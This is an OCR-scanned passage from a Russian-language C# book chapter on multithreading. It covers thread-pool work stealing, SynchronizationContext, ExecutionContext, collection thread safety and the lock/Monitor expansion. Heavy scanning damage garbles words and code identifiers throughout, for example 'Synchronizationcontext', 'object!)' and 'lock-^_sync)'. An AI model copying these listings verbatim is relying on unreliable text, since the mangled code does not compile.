Глава 17 Здесь используется перегруженный вариант StartNew, принима) щий простой безаргументный делегат Action. Еще я написал зде лямбда-выражение, вызывающее тот метод, который выполняет поле ную работу. Такой способ позволяет, вам передать любые Желаемые а гументы. На самом деле, в .NET 4.5 появился и более простой способ в случаях, когда требуется решить тривиальную задачу, можно прос воспользоваться новым статическим методом Task.Run, показаннь в листинге 17.7. Листинг 17.7. Метод Task. Run Task.Run(() => Download("http://oreilly.com/")); Если требуется выполнить совсем короткий кусок работы, мож, даже вообще отказаться от использования отдельного метода и встр ить весь метод целиком. Ни один из этих подходов не является одн значно оптимальным. Подход со встраиванием методов наибол прост, если вам требуется передать несколько фрагментов данных, i в листинге 17.5 нет необходимости выделять объект кучи, содержат) переменные, разделяемые между внешним и вложенным методам В большинстве случаев такое дополнительное выделение кучи, скор всего, минимально отразится на производительности. Поэтому в цел< следует выбирать тот прием, который гарантирует большую удобоч таемость. Существуют и другие способы работы с пулом потоков, самый оч видный из них связан с применением класса ThreadPool (в версии .NE Core Profile он недоступен). Его метод QueueUserWorkltem работает пр мерно как и StartNew — вы передаете ему делегат, и он направляет мет на выполнение. Тем не менее предпочтительно использовать класс Та (появившийся в .NET 4.0), поскольку ThreadPool задействует менее э( фективную и менее гибкую стратегию раздачи рабочих элементов п токам. До появления .NET 4.0 пул потоков, как правило, обрабатык рабочие элементы в том порядке, в котором они поступали. В .NET 4 Microsoft внесла ряд существенных изменений. Во-первых, теперь ка дый аппаратный поток получает собственную рабочую очередь, снижа таким образом, количество конфликтных ситуаций. Во-вторых, да) в рамках единственной очереди рабочие элементы обычно исполняют не в порядке поступления. В частности, данный механизм призван г рантироватьгчто каждый аппаратный поток будет отдавать предпочт ние тем рабочим элементам, которые были добавлены в данный пот в последнее время. Таким образом, при оперировании задачами испол
Многопоточность зуется подход «последним пришел — перевод обслужен» (LIFO), а не «первым пришел — первым обслужен» (FIFO), действующий в классе ThreadPool. В многоядерных процессорах каждое ядро, как правило, об- ладает собственным кэшем дополнительно к большому кэшу, разделяе- мому между всеми ядрами. Отсюда вывод, что большая эффективность достигается в случае, когда ядро, поставившее рабочий элемент в оче- редь, само его же и выполняет. Так CLR удается поддерживать попоточ- ные очереди рабочих элементов. Элементы, попавшие в очередь в самое последнее время, скорее всего, еще сохраняют релевантное состояние «быть в кэше». Поэтому процессор сможет выполнить их более быстро, чем если бы всегда начинал работу с элементов, которые уже надолго задержались в очереди. Может показаться, что обслуживать элементы в порядке поступления «честнее», но в таком случае, скорее всего, будет снижаться производительность — как только очередь превысит опре- деленный размер, такая последовательная обработка гарантированно замедлится, так как процессор окажется вечно занят обслуживанием элементов, чье релевантное состояние уже не сводится к пребыванию в кэше. Если пулу потоков удается разобрать рабочую очередь, накопившу- юся на определенном аппаратном потоке, то соответствующие потоки из пула обратятся к другим очередям. Прежде всего они обратятся к гло- бальной очереди (используемой ThreadPool), и если она окажется пуста, то будут рассмотрены очереди других аппаратных потоков. Если хотя бы одна из этих очередей окажется непустой, то пул начнет обрабаты- вать элементы из таких непустых очередей. Этот прием называется за- хват работы (work stealing). Поскольку он предполагает обслуживание рабочих единиц, помещенных в очередь другими аппаратными потока- ми, весьма вероятно, что необходимые данные для этих элементов не окажутся в части кэша процессора, локальной для данного аппаратного потока. Поэтому поток, захватывающий работу, должен подбирать такие элементы, что с максимальной вероятностью уже не должны оставаться и в кэше своего исходного аппаратного потока. Так мы страхуемся от медленного выполнения рабочего элемента, который был бы обслужен быстрее, останься он в очереди. Поэтому при захвате работы сначала об- рабатываются наиболее старые элементы, а уже потом — более новые. Эта тактика — захват работы и схема приоритезации, призванная максимально эффективно задействовать кэши процессора, — позволяет достичь существенно большей пропускной способности, чем обычный подход FIFO, применявшийся в более ранних версиях .NET, — в осо- 837
Глава 17 бенности под высокой нагрузкой. Производительность FIFO может31 чительно падать в случаях, когда очередь достигает довольно болып длины, и рабочие элементы обслуживаются уже после того, как act циированное с ними состояние покинуло кэш. Тем не менее некотор программы требуют именно FIFO-обработки. Код, предполагают! что пул .потоков начнет обслуживать рабочие элементы в порядке поступления, не будет работать в «неупорядоченном» режиме, появ! шемся в .NET 4.0. Поведение FIFO никогда не гарантировалось, но в i которых видах кода оно тем не менее предполагается. Следователь код, использующий старый API — класс ThreadPool, — продолжает щ менять старый подход FIFO. Если вам требуется новое поведение, щ нятое в .NET 4.0, то придется задействовать новый API. Именно поэто в настоящее время для обслуживания рабочих элементов предпочт тельно использовать Task. Task также имеет и ряд других преимущес недоступных в классе ThreadPool, — например, возможность выясни когда завершаются рабочие элементы, и группировать несколько вз; мосвязанных элементов в составные операции. Если вы хотите им< все эти преимущества, но также желаете сохранить обработку по npi ципу FIFO, так тоже можно сделать. Об этом мы поговорим ниже, в р деле «Варианты создания задач». Эвристика при создании потоков CLR корректирует количество потоков в зависимости от имеюще{ в наличии рабочей нагрузки. Используемая ею эвристика не докумен’ рована, более того, в каждом релизе .NET она менялась. Поэтому вы должны ставить код в зависимость от конкретного поведения, кото[ я здесь опишу; но эта информация пригодится вам, чтобы получить щ мерное представление о том, чего можно ожидать. Если вы поручите пулу потоков лишь такую работу, которая связ; с процессором, — любой метод, выполнение которого вы заказывав тратит все свое процессорное время на вычисления и никогда не бла руется в ожидании ввода/вывода, то вы можете оказаться в ситуаш где на каждый аппаратный поток вашей системы приходится по од] му программному потоку. Хотя, если на выполнение отдельных рабоч элементов требуется достаточно много времени, пул может выдел! и большее число'потоков. Например, на устаревающем четырехъяд ном компьютере без поддержки гиперпоточности, на котором я пи эту книгу, в случае постановки в очередь множества элементов, треб) щих интенсивной процессорной обработки, CLR сначала создает чел
М ногопоточ ность ре пула потоков. Если удается выполнять в среднем по одному куску работы в секунду (соответственно, отдельно взйтай задача выполняет- ся менее чем за четыре секунды), количество потоков обычно остается именно на этом уровне. Но иногда количество потоков увеличивается, так как среда времени выполнения то и дело пытается добавить допол- нительный поток и проверить, как это скажется на пропускной способ- ности. Но если скорость обработки элементов программой падает, CLR постепенно увеличивает количество потоков. Если потоки из пула блокируются (например, при ожидании дан- ных с диска или ответа с сервера, расположенного где-то в сети), то CLR более быстро увеличивает количество потоков пула. Опять же, все на- чинается с одного программного потока на каждый аппаратный, но если вялотекущие рабочие элементы потребляют очень мало процессорного времени, то потоки могут добавляться даже с частотой дважды в се- кунду. В любом случае рано или поздно CLR перестает добавлять потоки. В .NET 4.5 по умолчанию максимальное количество потоков в 32-битном процессе равно 1000, а в 64-битном режиме — 32 767, хотя вы можете изменять эти значения. У класса ThreadPool есть метод SetMaxThreads, позволяющей корректировать лимит потоков в вашем процессе. Вы можете столкнуться с ограничениями, при которых практично задать меньший лимит. Например, у каждого потока есть собственный стек, а в Windows стек обязательно должен занимать непрерывный диапазон в виртуальном адресном пространстве. По умолчанию каждый поток получает в процессе 1 Мб адресного пространства, которое резервиру- ется для его стека. Поэтому к моменту, когда у вас будет 1000 потоков, вы потратите 1 Гб только на стеки. У 32-битных процессов есть всего 4 Гб адресного пространства, а на практике объем, доступный вашей программе, обычно оказывается еще меньше. Иногда он не превышает 2 Гб*. У вас просто может не хватить места на такое большое количество потоков. Так или иначе, в большинстве случаев 1000 потоков более чем достаточно, а потому, когда вам начинает не хватать такого количества, это может быть косвенным свидетельством какой-то глубинной пробле- мы, которую следует найти. Итак, SetMaxThreads обычно вызывается для того, чтобы понизить допустимый лимит количества потоков. Вы мо- ♦ В 64-битной версии Windows 32-битные процессы обычно используют весь четы- рехгигабайтный диапазон адресного пространства. В 32-битной версии такому процессу придется обходиться всего 2 Гб или 3 Гб адресного пространства, в зависимости от кон- кретной конфигурации операционной системы. 839
Глава 17 жете обнаружить, что при определенных рабочих нагрузках сниженш количества потоков улучшает пропускную способность, так как ослабе вают «конфликтные притязания» на системные ресурсы. । Потоки завершения ввода/вывода 1 В пуле содержатся потоки двух видов: рабочие потоки и потоки за^ вершения ввода/вывода. Рабочие потоки используются для исполнения делегатов, которые вы ставите в очередь при помощи описанных выше приемов запуска задач. Правда, ниже в этой главе в разделе «Планиров- щики» я расскажу, как пользоваться иными стратегиями организации по- точности. Класс ThreadPool применяет в своем методе QueueUserWorkltea и потоки завершения ввода/вывода. Потоки завершения ввода/вывода употребляются для вызова методов, предоставляемых вами для обрат- ных вызовов, срабатывающих при завершении инициированной вами операции ввода/вывода (примером такой операции может быть считы- вание данных из файла или сокета). На внутрисистемном уровне CLR использует совокупность пор- тов для завершения ввода/вывода — механизм, предоставляемый Windows для эффективной обработки большого количества парал- лельных асинхронных операций. Пул отделяет потоки, обслуживаю- щие этот порт завершения, от других рабочих потоков. Так снижается вероятность возникновения взаимной блокировки системы при до- стижении максимального лимита потоков, допустимых в пуле. Если бы CLR не держала потоки завершения ввода/вывода отдельно, она могла бы попасть в ситуацию, где все потоки пула заняты ожиданием завершения ввода/вывода. В этот момент в системе возникает полная взаимоблокировка, так как не останется потоков, способных обеспе- чить завершение операций ввода/вывода — чего уже дожидаются все имеющиеся потоки. Но на практике, как правило, можно не учитывать разницу между содержащимися в пуле потоками завершения ввода/вывода и обыч- ными потоками, так как CLR сама решает, какие потоки использовать. Но иногда различать две эти разновидности потоков все же нужно. Так, если по каким-то причинам вы решите изменить размер пула потоков, то потребуется отдельно указать максимальные лимиты для обычных потоков и для потоков завершения ввода/вывода. В таком случае метод SetMaxThreads, упоминавшийся в предыдущем разделе, принимает два аргумента. 840
Многопоточность Потоковая родственность и Synchronizationcontext Некоторые объекты требуют, чтобы вы использовали их только из определенных потоков. Такие ситуации особенно распространены в коде пользовательских интерфейсов — все технологии работы с пользователь- скими интерфейсами на базе XAML (WPF, Silverlight, Windows Phone и .NET Core XAML) требуют, чтобы объекты пользовательского интер- фейса применялись только из того потока, в котором они были созданы. Такое явление называется потоковой родственностью (thread affinity). Хотя эта проблема возникает преимущественно с пользовательскими ин- терфейсами, она может встречаться и в интероперабельных сценариях — так, потоковой родственностью обладают некоторые СОМ-объекты. * Потоковая родственность может усложнить жизнь, если вы хотите писать многопоточный код. Предположим, вы аккуратно реализовали многопоточный алгоритм, позволяющий применить все аппаратные по- токи на компьютере конечного пользователя. Этот алгоритм существен- но повышает производительность при работе на многоядерном процес- соре (по сравнению с однопоточным решением). Как только алгоритм завершится, вы хотите представить его результаты конечному пользова- телю. Потоковая родственность объектов пользовательского интерфей- са требует от вас, чтобы вы выполняли этот последний шаг в конкретном потоке, но ваш многопоточный код вполне может выложить конечные результаты своей работы в каком-то другом потоке. На самом деле, вы, вероятно, стараетесь не занимать весь поток пользовательского интер- фейса такими задачами, которые требуют интенсивной работы процес- сора. Это необходимо, чтобы пользовательский интерфейс не подвисал во время выполнения каких-либо сложных задач. Если вы попробуете обновить пользовательский интерфейс из случайного рабочего потока, то фреймворк пользовательского интерфейса выдаст исключение, свя- занное с тем, что вы нарушили его требования по потоковой родствен- ности. Иногда требуется передать сообщение обратно в поток пользова- тельского интерфейса, чтобы он мог отобразить результаты. В библиотеке классов .NET Framework предоставляется класс Synchronizationcontext, который удобно использовать именно в таких ситуациях. Его статическое свойство Current возвращает экземпляр класса Synchronizationcontext, представляющий контекст, где в настоя- щий момент работает ваш код. Например, в приложениях WPF, .NET Core или Silverlight при получении этого свойства во время работы в потоке пользовательского интерфейса оно вернет объект, ассоции- 841
Глава 17 рованный с данным потоком. Вы можете использовать объект, возвра) щаемый Current, из любого потока, в любое время, когда требуется вы1 полнить дальнейшую работу в потоке пользовательского интерфейса Листинг 17.8 демонстрирует, как можно выполнить потенциально мед! ленную работу в потоке из пула, а потом отослать обновление пользова* тельского интерфейса обратно в поток этого интерфейса. Листинг 17.8. Применение пула потоков с последующим использованием класса Synchronizationcontext private void findButton_Click(object sender, RoutedEventArgs e) { Synchronizationcontext uiContext = Synchronizationcontext. Current; Task.Factory.StartNew(() => { string pictures = Environment.GetFolderPath( Environment.SpecialFolder.MyPictures); var folder = new Directoryinfo(pictures); Filelnfo[] allFiles = folder.GetFiles("*.jpg", Searchoption.AllDirectories); Fileinfo largest = allFiles.OrderByDescending( 1 f => f.Length).FirstOrDefault(); 1 uiContext.Post(unusedArg => { outputTextBox.Text = string.Format("Largest file ({0}MB) is {1}", largest.Length / (1024 * 1024), largest.FullName); i }, null); }); ) Этот код обрабатывает событие Click, ассоциированное с кнопкой Здесь мы имеем дело с WPF-приложением, a Silverlight и .NET Core выставляют больше ограничений на доступ к файловой системе. Поэ- тому в двух последних-елучаях код, выполняющий медленную работу должен выглядеть немного иначе; тем не менее Synchronizationcontext 842
Многопоточность абсолютно одинаково работает во всех средах. Элементы пользователь- ского интерфейса подают свои события в поток пользовательского ин- терфейса, поэтому, когда первый обработчик события получает актуаль- ный Synchronizationcontext, он тем самым приобретает контекст потока пользовательского интерфейса. Затем код выполняет какую-то работу в потоке из пула при помощи класса Task. Код просматривает все изобра- жения в пользовательской папке «Мои рисунки», ищет самый большой файл — на это может потребоваться какое-то время. Поэтому крайне не рекомендуется выполнять медленную работу в потоке пользовательско- го интерфейса: ведь элементы интерфейса, относящиеся к данному по- току, не смогут реагировать на пользовательский ввод, пока поток будет занят выполнением какой-то другой работы. Поэтому лучше перепору- чать такие задачи пулу потоков. Проблема с использованием пула потоков в такой ситуации заключа- ется в том, что, как только работа завершится, мы окажемся в потоке, из которого не можем обновить пользовательский интерфейс. Код обновит свойство Text текстового поля, и мы получим исключение, если попы- таемся сделать это посредством одного из потоков пула. Поэтому по за- вершении работы код воспользуется объектом Synchroni^zationContext, полученным ранее, и вызовет его метод Post. Этот метод принимает де- легат, который уже обеспечит обратный вызов в потоке пользователь- ского интерфейса. «За кулисами» в данном случае пользовательское со- общение отправляется в очередь сообщений Windows, а когда основной цикл обработки сообщений, действующий в потоке пользовательского интерфейса, подберет это сообщение, этот цикл вызовет делегат. Метод Post не дожидается завершения работы. Есть другой ч метод, называемый Send, который в данном случае дождется В?*'завершения, но я не рекомендую его использовать. Мы риску- ем, блокируя рабочий поток до тех пор, пока он ожидает за- вершения какой-то работы в потоке пользовательского интер- фейса. Ведь если поток пользовательского интерфейса также окажется заблокирован, ожидая выполнения какой-то задачи в рабочем потоке, то возникнет взаимная блокировка. Метод Post не создает такой проблемы, так как позволяет рабочему потоку выполняться параллельно с потоком пользовательско- го интерфейса. В листинге 17.8 мы получаем Synchronizationcontext.Current, ког- да он все еще находится в потоке пользовательского интерфейса, до 843
Глава 17 того как начинается работа пула потоков. Это важно, поскольку дац ное статическое свойство чувствительно к контексту — оно возвращав! контекст потока пользовательского интерфейса лишь при условии, чтс мы находимся именно в потоке пользовательского интерфейса Есл! считать это свойство из какого-нибудь потока, работающего в пуле, т( возвращенный контекстный объект не пошлет работу в поток пользова тельского интерфейса. Механизм Synchronizationcontext используется не только на старо- не клиента. Он также поддерживается в веб-фреймворке ASP.NET. ASP! NET предоставляет различные объекты для работы с текущим запросов через статическое свойство HttpContext. Current. Если вы пишете асин- хронный обработчик веб-запроса, то можете воспользоваться примернс такой же техникой, как и в листинге 17.8, чтобы вернуть код обратнс в контекст вашего запроса. Механизм Synchronizationcontext является расширяемым, поэтому если хотите, вы можете произвести от него собственный тип. После этого вы сможете вызывать его статический метод SetSynchronizationContext чтобы сделать ваш контекст актуальным контекстом потока. Такой при- ем может быть полезен в сценариях, связанных с модульным тестирова- нием, — он позволяет писать тесты, гарантирующие, что объекты пра- вильно взаимодействуют с Synchronizationcontext. Создавать при этом сам пользовательский интерфейс не требуется. Класс Executioncontext У класса Synchronizationcontext есть более универсальный аналог Executioncontext. Он применяется в схожих ситуациях, позволяя вам отлавливать актуальный контекст, а потом использует его для запуска делегата в этом контексте, но уже несколько позже. Вы можете получип актуальный контекст, вызвав метод Executioncontext. Capture. Если сде- лать это из потока, имеющего актуальный Synchronizationcontext, т( в отловленном контексте исполнения будет содержаться не только эта но и некоторая другая информация. В частности, в контексте исполнения есть информация о безопасно- сти, и этот контекст указывает, имеется ли в стеке актуального вызова какой-либо частично доверенный код. Он не содержит локальной памя ти потоков, но зато обладает абсолютно всей информацией в логическом контексте вызова. Доступ к этому контексту осуществляется через класс CallContext, предоставляющий методы LogicalSetData и LogicalGetDati __________________ 844
М ногопоточность для хранения и получения пар имя/значение. Обычно данная инфор- мация ассоциирована с актуальнымлютоком, но если вы выполните код в отловленном контексте исполнения, то он предоставит информацию из логического контекста. Это произойдет, даже если ваш код будет за- пущен из какого-то совершенно другого потока. На внутрисистемном уровне .NET Framework использует класс Executioncontext во всех ситуациях, когда длительная задача начинает- ся в одном потоке, а позже завершается уже в другом. Именно такая си- туация возникает в различных асинхронных шаблонах, описанных ниже в этой главе. Передача контекста от исходного потока к другому гаранти- рует, что при асинхронных обратных вызовах такого рода не возникнет брешь в системе безопасности. В противном случае частично доверенный код может запустить другой код, критичный с точки зрения безопасно- сти, передав его как обратный вызов к асинхронной операции. Так можно обойти обычные проверки безопасности, осуществляемые CLR. Следует использовать контекст исполнения во избежание подобных багов в системе безопасности, если вы пишете любой код, принимающий обратный вызов, предназначенный для последующего вып9лнения — возможно, в каком-то другом потоке. Для этого мы вызываем Capture, чтобы захватить актуальный контекст. Позже мы сможем передать этот контекст методу Run для вызова делегата. Листинг 17.9 демонстрирует класс Executioncontext в действии. Листинг 17,9. Использование класса Executioncontext public class Defer { private readonly Action _callback; private readonly Executioncontext _context; public Defer(Action callback) ( _callback = callback; _context = Executioncontext.Capture (); } public void Run() I Executioncontext.Run(_context, (unusedStateArg) => _callback(), null); } } 845
Глава 17 Если мы получили всего один Executioncontext, его нельзя использо- вать одновременно с множеством потоков. Иногда приходится вызвать множество разных методов в конкретном контексте, а в многопоточной среде вы не всегда сможете гарантировать, что предыдущий метод успе- ет вернуться до вызова следующего. Для такого случая Executioncontext предоставляет метод CreateCopy, генерирующий копию контекста. Та- ким образом вы сможете делать множество одновременных вызовов в разных, но эквивалентных контекстах. Синхронизация Иногда требуется написать многопоточный код, в котором у множе- ства потоков будет доступ к одному и тому же состоянию*. Например, в главе 5 я предположил, что сервер может использовать Diet ionary<TKey, TValue> как часть кэша, чтобы избежать дублирования работы при по- лучении множества похожих запросов. Конечно, кэширование такого рода положительно сказывается на производительности, но в каких-то многопоточных сценариях оно представляет проблему. А если вы рабо- таете с серверным кодом, требования по производительности которого растут, то вам, скорее всего, понадобится не один поток для обработки запросов. В разделе «Безопасность потоков» документации по классу словаря читаем следующее: «Dictionary<TKey, TValue> может параллельно поддерживать не- сколько считывателей, если коллекция не изменяется. Но даже в та- ком случае перечисление элементов коллекции по определению не является потокобезопасной процедурой. В редких случаях, когда возникает конфликт между перечислением и запросами на запись, коллекция должна блокироваться на весь период перечисления. Чтобы обеспечить доступ нескольких потоков к коллекции для чте- ния и записи, необходимо реализовать собственный механизм син- хронизации». Как видим, все не так плохо. Абсолютное большинство типов в би- блиотеке классов .NET Framework вообще не поддерживают многопо- точное использование экземпляров. Иными словами, потокобезопас- ность можно охарактеризовать так: * Здесь я употребляю слово «состояние» в широком смысле. Я имею в виду инфор- мацию, сохраненную в переменных и объектах. 846
Многопоточность «Любые публичные статические (в терминологии Visual Basic — раз- деляемые) члены этого типа являются потокобезопасными. Потоко- безопасность любых членов экземпляров не гарантируется». Это означает, что большинство типов поддерживает многопо- точное использование на уровне класса, но отдельные экземпляры в любой момент времени должны применяться лишь в одном потоке. Dictionary<TKey, TValue> несколько удобнее: он явно поддерживает множество параллельных считывателей, что не может не радовать в на- шем сценарии с кэшированием. Тем не менее, когда речь заходит об изменениях, мы должны не только гарантировать, что не попытаемся изменять коллекцию из нескольких потоков одновременно, но и убе- диться, что во время изменения коллекции у нас не будет никаких теку- щих операций считывания. Классы универсальных коллекций предоставляют подобные гарантии (в отличие от большинства классов в библиотеке). Так, List<T>, Queue<T>, Stack<T>, SortedDictionary<TKey, TValue>,HashSetjKT> и SortedSet<T> — все они поддерживают параллельное использование только для чтения. Если вы изменяете любой экземпляр таких коллек- ций, то должны гарантировать, что ни один другой поток не выполняет в тот же момент ни изменения, ни даже считывания обрабатываемого вами экземпляра. Разумеется, прежде чем попробовать многопоточ- ное использование какого-либо типа, всегда нужно сверяться с доку- ментацией* Учтите, что интерфейсы типов универсальных коллекций не дают никаких гарантий относительно потокобезопасности — хотя List<T> и поддерживает параллельное считывание, не все реализации IList<T> будут его поддерживать. Например, у нас есть реализация, обертывающая потенциально медленный фрагмент информации — ска- жем, содержимое файла. Для такой оболочки может быть целесообраз- но организовать кэширование данных, чтобы операции считывания происходили быстрее. При считывании элемента из такого списка его внутреннее состояние может измениться, поэтому при одновременном считывании из нескольких потоков некоторые подобные ситуации мо- гут не удаться — если специально не обеспечить в коде соответствую- щую защиту. * На момент написания книги в документации указано, что HashSet<Т> и Sor tedSet <Т> являются исключениями из этого правила. Тем не менее специалисты из Microsoft уве- рили меня, что данные коллекции также поддерживают параллельное считывание. Надеюсь, к тому моменту, как вы будете читать этот текст, документация уже будет ис- правлена. । 847
Глава 17 Если вас устраивает ситуация, в которой можно совершенно от заться от изменения структуры данных, пока она используется в мно поточном коде, то вы вполне обойдетесь той поддержкой параллелью доступа, что предоставляется во многих классах коллекций. Но если которым потокам потребуется изменять разделяемое состояние, то должны будете координировать доступ к этому состоянию. Для э' целей в .NET Framework предоставляются различные механизмы ci хронизации, позволяющие гарантировать, что в случае необходимо доступа к разделяемым объектам ваши потоки будут делать это стр по очереди. В данном разделе мы обсудим наиболее распространен? подобные механизмы. Мониторы и ключевое слово lock При необходимости синхронизированного многопоточного испо зования разделяемого состояния первым делом следует обратить bi мание на класс Monitor. Он популярен в силу с^оей эффективное прямолинейности, а также непосредственной поддержки на уровне я; ка С#. По всем этим причинам он очень прост в использовании. В. стинге 17.10 продемонстрирован класс, использующий ключевое сл< lock (которое, в свою очередь, использует класс Monitor) при каэд считывании или изменении его внутреннего состояния. Так мы тар тируем, что в любой момент времени к этому состоянию сможет об щаться всего один поток. Листинг 17.10. Защита состояния при помощи ключевого слова lock public class SaleLog { private readonly object _sync = new object!); private decimal _total; private readonly List<string> _saleDetails = new List<string>(); public decimal Total { get { lock-^_sync) { return total;
М ногопоточность } } public void AddSale(string item, decimal price) I string details string.Format("{0} sold at {1}", item, price); lock (_sync) { _total += price; _saleDetails.Add(details); } } public string!] GetDetails(out decimal total) { lock (_sync) { total = _total; return _saleDetails.ToArray(); } } 1 Чтобы использовать ключевое слово lock, вы предоставляете ссыл- ку на объект и блок кода. Компилятор C# генерирует код, который потребует от CLR гарантировать, что в блоке lock для этого объекта в любой момент времени будет находиться только один поток. До- пустим, вы создали единственный экземпляр этого класса SaleLog. В одном потоке вы вызвали метод AddSale, а в другом, в то же время — GetDetails. Оба потока достигнут инструкций lock, передав одно и то же поле sync. Тот поток, который прибудет первым, сможет выпол- нить блок, следующий за lock. Второму потоку придется ожидать — ведь ему будет закрыт доступ в его блок lock, пока первый поток не покинет своего блока lock. Класс SaleLog может использовать любое из своих полей изнутри блока lock лишь при помощи аргумента sync. Так гарантируется, что любой доступ к полям будет сериализован — то есть в любой момент вре- мени к полю будет обращаться только один поток, а не все вместе. Когда метод GetDetails одновременно считывает информацию из полей total и saleDetails, он может быть уверен, что получит целостное представ- ление — итоговое значение будет согласовано с актуальным содержи- 849
Глава 17 мым списка информации о продажах, так как код, изменяющий два этих фрагмента данных, делает это в рамках единой блокировки lock. То есть обновления будут казаться атомарными с точки зрения любого другого блока lock, использующего sync. Может показаться, что излишне использовать блок lock даже с ме- тодом доступа get, возвращающим итоговое значение. Тем не менее decimal — это 128-битное значение, поэтому доступ к данным этого типа, в сущности, не является атомарным. Если не пользоваться lock, то возвращаемое значение может оказаться смесью двух и более значений, которые были у total в разное время. Например, нижние 64 бит могут быть взяты от более старого значения, чем верхние 64 бит. CLR гаранти- рует атомарные операции считывания и записи только для таких типов данных, чей размер не превышает 4 байта, а также для ссылок даже на тех платформах, где размер ссылок превышает 4 байт. Это гарантирует- ся лишь для естественным образом выровненных полей, но в C# поля всегда будут выровненными, если только вы специально не изменили их выравнивание в целях интероперабельности — это делается при по- мощи методов, описанных в главе 21. Неочевидная, но важная деталь листинга 17.10 заключается в том, что всякий раз, когда код возвращает информацию о своем внутрен- нем состоянии, он возвращает копию. Свойство Total относится к типу decimal. Это значимый тип, а значения всегда возвращаются в виде ко- пий. Но когда дело доходит до списка записей, метод GetDetails вы- зывает ТоАггау, выстраивающий новый массив. В этом массиве нахо- дится копия актуального содержимого списка. Не следует возвращать ссылку непосредственно в saleDetails, так как в результате код, на- ходящийся вне класса SalesLog, сможет получать доступ к коллекции и изменять ее без использования lock. Нам необходимо гарантировать, что весь доступ к этой коллекции будет синхронизированным, но мы не сможем этого сделать, если класс раздает ссылки на свое внутреннее состояние. Если вы пишете код, выполняющий определенную многопо- * точную работу, которая рано или поздно останавливается, то Э?' после такой остановки вполне допустимо разделять ссылки на состояние. Но если объект подвергается текущим много- поточным изменениям, то необходимо гарантировать, что ис- пользование состояния этого объекта во всех случаях будет защищенным. 850
Многопоточность Ключевое слово lock принимает любую ссылку на объект, поэтому вы можете поинтересоваться, зачем же я специально создавал объект, а не передал вместо этого this? Да, такой вариант сработал бы, но про- блема в том, что ваша ссылка this не будет приватной — это та самая ссылка, по которой внешний код использует ваш объект. Применение в вашем объекте публично видимого элемента для синхронизации до- ступа к приватному состоянию — неразумный поступок. Какой-нибудь другой код может решить, что было бы удобно использовать ссылку на ваш объект в качестве аргумента для каких-нибудь совершенно посто- ронних блоков lock. В нашем примере это, пожалуй, не представляет проблемы, но в более сложном коде так можно сцепить вместе совер- шенно несвязанные компоненты параллельного поведения. В таком случае могут возникнуть проблемы с производительностью или даже взаимные блокировки. Соответственно, лучше всегда придерживаться безопасного программирования и использовать такие компоненты, ко- торые только ваш код сможет применять в качестве аргумента lock. Раз- умеется, я мог бы использовать поле saleDetails, поскольку оно ссы- лается на объект, доступ к которому открыт только для моего класса. Но даже если мы стремимся к безопасному программированию, не следует рассчитывать, что и другие разработчики так поступают. Поэтому в це- лом лучше воздерживаться от использования экземпляра класса, кото- рый писали не вы, в качестве аргумента для lock — вы не можете быть уверены, что он не будет применять свою ссылку this для собственных нужд блокировки. В любом случае тот факт, что вы можете использовать любую ссылку на объект, немного странен. В большинстве механизмов синхронизации .NET в качестве точки отсчета для такой синхронизации применяется экземпляр какого-либо специального типа. Например, если для блоки- ровки вам требуется семантика чтения/записи, то следует использо- вать экземпляр класса ReaderWriterLockSlim, а не какой-нибудь старый объект. Класс Monitor (именно им пользуется lock) является исключе- нием и исторически восходит к тем временам, когда в языке требовалась определенная совместимость с Java. В Java имеется подобный блокиру- ющий примитив. Это не имеет значения для современной разработки на .NET, так что сейчас данную черту можно считать рудиментарной. Использование специального объекта, который должен всего лишь служить аргументом lock, привносит в работу минимальные издержки (в первую очередь по сравнению с затратами на блокировку). Зато при применении описанного механизма легче отслеживать управление син- хронизацией. 851
Глава 17 Вы не сможете использовать значимый тип в качестве эргу 4 * мента для lock — C# такого не допускает, и неслучайно. Кои Депилятор выполняет в аргументе неявное преобразована к object, а при работе со ссылочными типами это не требует oi CLR никаких дополнительных действий во время исполнения Но если вы преобразуете значимый тип в ссылку типа object, понадобится создать упаковку. Эта упаковка должна стать ар гументом lock, и как раз здесь кроется проблема. Ведь у вас будет получаться новая упаковка всякий раз, когда вы преоб- разуете значение в ссылку типа object. Поэтому при каждой запуске lock программа станет получать новый объект, а зна- чит, на практике не окажется никакой синхронизации. Имение поэтому компилятор не дает вам даже попытаться так посту- пить. О расширении ключевого слова lock Каждый блок lock превращается в код, делающий три вещи. Boj первых, он вызывает Monitor.Enter, передавая аргумент, который предоставили для lock. Потом совершается попытка выполнить код блока. Наконец, как только выполнение блока закончится, он обычна вызывает Monitor. Exit. Но ситуация не настолько проста, так как суще! ствуют исключения. Код вызовет Monitor .Exit даже в том случае, еслц размещенный вами в блоке код выдаст исключение, но необходимо об! работать и вариант, при котором исключение выдает сам Monitor.Enter] Последний случай означает, что код не получит блокировку, а значит( и не вызовет Monitor.Exit. В листинге 17.11 показано, что компиля- тор делает из блока lock, относящегося к методу GetDetails в листин- ге 17.10. Листинг 17.11. Расширение блоков lock bool lockWasTaken false; var temp = _sync; try { Monitor.Enter(temp, ref lockWasTaken); { total = _total; return -SaleDetails.ToArray(); } 852
Многопоточность } finally { if (lockWasTaken) I Monitor.Exit(temp); } } Monitor.Enter — это API, выясняющий, не получил ли уже блоки- ровку какой-то другой поток. Если другой поток действительно ее по- лучил, то актуальный поток переходит в режим ожидания. Если возврат в конце концов происходит, то операция обычно оканчивается успешно. Возврата может и не произойти, если возникнет взаимная блокировка. Существует небольшая возможность отказа, обусловленная асинхрон- ным исключением — например, аварийным завершением потока. Это совершенно нестандартный случай, но сгенерированный код тем не ме- нее учитывает и его. Для этого применяется немного витиеватый код переменной lockWasTaken. Но на практике компилятор дает этой пере- менной автоматически сгенерированное бессмысленное имя, здейь я его изменил, чтобы упростить понимание. Метод Monitor.Enter гарантиру- ет, что получение блокировки будет атомарным, с обновлением флага, указывающего, была ли принята блокировка. Так гарантируется, что блок finally станет пытаться вызывать Exit тогда и только тогда, когда была принята блокировка. Monitor. Exit сообщает среде CLR, что мы больше не нуждаемся в ис- ключительном доступе к любым ресурсам, доступ к которым мы син- хронизировали, и если в Monitor.Enter есть какие-либо другие потоки, ожидающие интересовавший нас объект, то этот шаг позволит одному из потоков продолжить работу. Компилятор помещает данную логику в блок finally. Так гарантируется, что если вы выходите из блока, до- стигнув его конца, возвращаясь из середины или выдавая исключение, блокировка все равно будет снята. Тот факт, что блок lock вызывает Monitor .Exit при исключении — это палка о двух концах. С одной стороны, так мы снижаем вероятность воз- никновения взаимной блокировки, поскольку при отказе блокировки также снимаются. С другой стороны, если исключение возникнет в мо- мент, когда вы как раз заняты изменением какого-либо разделяемого со- стояния, то система может оказаться в 